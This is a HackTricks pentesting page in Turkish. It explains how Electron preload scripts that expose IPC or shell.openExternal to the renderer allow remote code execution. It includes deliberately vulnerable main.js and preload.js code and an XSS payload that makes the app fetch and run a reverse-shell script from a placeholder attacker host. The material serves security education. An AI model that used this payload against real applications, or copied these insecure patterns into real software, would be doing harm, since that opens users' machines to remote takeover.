Electron contextIsolation RCE via IPC

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Eğer preload script'i main.js dosyasından bir IPC uç noktası açıyorsa, renderer süreci buna erişebilecek ve eğer savunmasızsa, bir RCE mümkün olabilir.

Bu örneklerin çoğu buradan alındı https://www.youtube.com/watch?v=xILfQGkLXQo. Daha fazla bilgi için videoyu kontrol edin.

Örnek 0

https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 adresinden bir örnek (bu slaytlarda MS Teams'in XSS'den RCE'ye nasıl istismar edildiğine dair tam örneği bulabilirsiniz, bu sadece çok temel bir örnektir):

Örnek 1

main.js'in getUpdate üzerinde nasıl dinlediğini ve geçilen herhangi bir URL'yi indirdiğini ve çalıştırdığını kontrol edin.
Ayrıca preload.js'in ana süreçten herhangi bir IPC olayını nasıl açtığını kontrol edin.

javascript
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})

mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

Sömürü:

html
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>

Örnek 2

Eğer preload script, renderer'a shell.openExternal çağırma yolunu doğrudan açıyorsa, RCE elde etmek mümkündür.

javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}

Örnek 3

Preload script'i ana işlemle tamamen iletişim kurma yollarını açıyorsa, bir XSS herhangi bir olayı gönderebilir. Bunun etkisi, ana işlemin IPC açısından neleri açtığına bağlıdır.

javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}

window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin